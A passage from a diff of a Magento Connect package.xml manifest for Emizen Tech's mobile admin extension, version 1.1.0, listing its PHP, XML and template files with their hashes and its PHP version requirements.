hash="bf0ff6a1d30dfeb5b159c72eff4311ae"/></dir></dir></dir></dir></target><target name="mage"><dir name="lib"><dir name="EmizenMobileAdmin"><file name="PushNotificationAppCertificateKey.pem" hash="546f3a014aab15d6765f80a1133cbedd"/></dir></dir></target></contents>
34
  <compatible/>
35
  <dependencies><required><php><min>5.1.0</min><max>6.0.0</max></php></required></dependencies>
36
  </package>
1
  <?xml version="1.0"?>
2
  <package>
3
  <name>emizenmobileadmin</name>
4
+ <version>1.1.0</version>
5
  <stability>stable</stability>
6
  <license uri="http://opensource.org/licenses/osl-3.0.php">OSL v3.0</license>
7
  <channel>community</channel>
28
  * Store view Selection For Dashboard,&#xD;
29
  * Multistore Support</notes>
30
  <authors><author><name>Emizen Tech Private Limited</name><user>emizen</user><email>info@emizentech.com</email></author></authors>
31
+ <date>2015-06-19</date>
32
+ <time>07:44:23</time>
33
+ <contents><target name="mageetc"><dir name="modules"><file name="EmizenTech_MobileAdmin.xml" hash="3d9904aebe449343c74004cd160e0b89"/></dir></target><target name="magelocal"><dir name="EmizenTech"><dir name="MobileAdmin"><dir><dir name="Block"><file name="Index.php" hash="76f331d88fb83bbe3135c494d084e4b7"/></dir><dir name="Helper"><file name="Data.php" hash="e9fe1d9c30704ce4e47861040eb7cf89"/></dir><dir name="Model"><file name="Api.php" hash="ab4aecf0be9b1d58967757bd703820b5"/><file name="Emizenmob.php" hash="0b2018dfc93072b5712d20ed676c8a30"/><dir name="Mysql4"><dir name="Emizenmob"><file name="Collection.php" hash="6b958aa1ddc5d96955dbdf4bdd7f6976"/></dir><file name="Emizenmob.php" hash="1285e93887bc67933f0bac32bed8b762"/></dir><file name="Observer.php" hash="4758f17b582bbb6d8745cf7b97fc0cc7"/></dir><dir name="controllers"><file name="CmsController.php" hash="88290b694e7cfb080aa58e9ec2046480"/><file name="ConfigurationController.php" hash="733600ecac25a8ce7a35183212aae417"/><file name="IndexController.php" hash="b46a458e5727429e24795273cd80a3c1"/><file name="ProductsController.php" hash="2830da3180c1c6d7632a799f39b6361c"/><file name="ReportController.php" hash="f42a6f20ee66fbeb5f07c4e4170675d4"/><file name=".ConfigurationController.php.swp" hash="d82018d3f6f213b76d62489a9e149345"/></dir><dir name="etc"><file name="adminhtml.xml" hash="53c7b1eb3b23e2cf8b899309517a1c14"/><file name="api.xml" hash="c81e576c36f189af6dffefca1a746622"/><file name="config.xml" hash="db18388e630425e786e71b73a61844d4"/><file name="system.xml" hash="6f7e1b090d771a29e5d2d4777d7e4304"/></dir><dir name="sql"><dir name="mobileadmin_setup"><file name="mysql4-install-0.1.0.php" hash="3faa6e0c9146571ac842f5aeeedf961c"/></dir></dir></dir></dir></dir></target><target name="magedesign"><dir name="frontend"><dir name="base"><dir name="default"><dir name="template"><dir name="mobileadmin"><file name="index.phtml" hash="395b5512423d31a9526f94e3d7dcc13a"/></dir></dir><dir name="layout"><file name="mobileadmin.xml" hash="bf0ff6a1d30dfeb5b159c72eff4311ae"/></dir></dir></dir></dir></target><target name="mage"><dir name="lib"><dir name="EmizenMobileAdmin"><file name="PushNotificationAppCertificateKey.pem" hash="546f3a014aab15d6765f80a1133cbedd"/></dir></dir></target></contents>
34
  <compatible/>
35
  <dependencies><required><php><min>5.1.0</min><max>6.0.0</max></php></required></dependencies>
36
  </package>